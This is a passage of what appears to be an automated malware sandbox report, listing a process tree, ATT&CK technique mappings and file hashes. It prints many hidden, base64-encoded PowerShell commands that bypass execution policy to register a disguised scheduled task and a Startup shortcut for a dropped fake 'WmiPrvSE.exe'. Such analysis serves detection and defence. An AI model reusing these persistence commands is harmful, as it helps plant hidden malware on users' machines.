  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:2952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:5088
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:3608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:2196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:5240
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:5028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:3832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:2428
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4104

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
MD5 9751fcb3d8dc82d33d50eebe53abe314
SHA1 7a680212700a5d9f3ca67c81e0e243834387c20c
SHA512 54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709
TLSH
T1B04170303221B8D84D435F0215286ED5A3EF478AAFAC5F5CB569131DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 892adfab10cc7a49366cfdbebb2e71d05b10635efcf14fb26f6196bdc234ceb9
MD5 a0ceea39cc794c221e0fb1391d1f0224
SHA1 2b8dcbe7fb5861688d05c2557990bd9b997cfa09
SHA512 6d255edaef26225c0b5e9fc0ec78d1e20f6560ebac9cd50e5bce274bc9362d45a9c69ea19a86b634ee441798f07f38b1db0d7952f5a9a145ff57a942e79802f4
SSDEEP 1536:L5C+jH03tAHkn4eOdBBNKe8flJn1YooV3CNBQkj206qd5z0RzWRWyVMOvBaVGVhV:NC+jH03tAHkvOdBBNKe8flJn1YooV3CZ
TLSH
T12C334093E9204D71E1A66F3EF15652227D34394690F8113212DC25EFA983DA70B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download